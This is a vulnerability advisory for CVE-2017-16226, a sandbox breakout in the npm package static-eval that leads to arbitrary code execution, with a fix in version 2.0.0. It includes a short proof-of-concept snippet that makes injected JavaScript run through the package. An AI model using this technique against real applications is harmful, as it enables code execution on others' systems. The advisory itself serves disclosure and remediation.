Advisory

GHSA-5mjw-6jrh-hvfq

Also known as: CVE-2017-16226

Summary

Sandbox Breakout / Arbitrary Code Execution in static-eval

Details

Affected versions of static-eval pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.

Proof of concept

var evaluate = require('static-eval');
var parse = require('esprima').parse;
var src = '(function(){console.log(process.pid)})()';
var ast = parse(src).body[0].expression;
var res = evaluate(ast, {});
// Will print the process id

Recommendation

Update to version 2.0.0 or later.

Severity

Medium Basis: The source's own band: MODERATE

Dates

Published
2018-08-06 21:37 UTC
Modified
2023-11-08 03:59 UTC

Affected packages and fixes

static-eval

npm · All systems

Affected

  • introduced 0, fixed 2.0.0 (semver)

Fixed versions

2.0.0

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences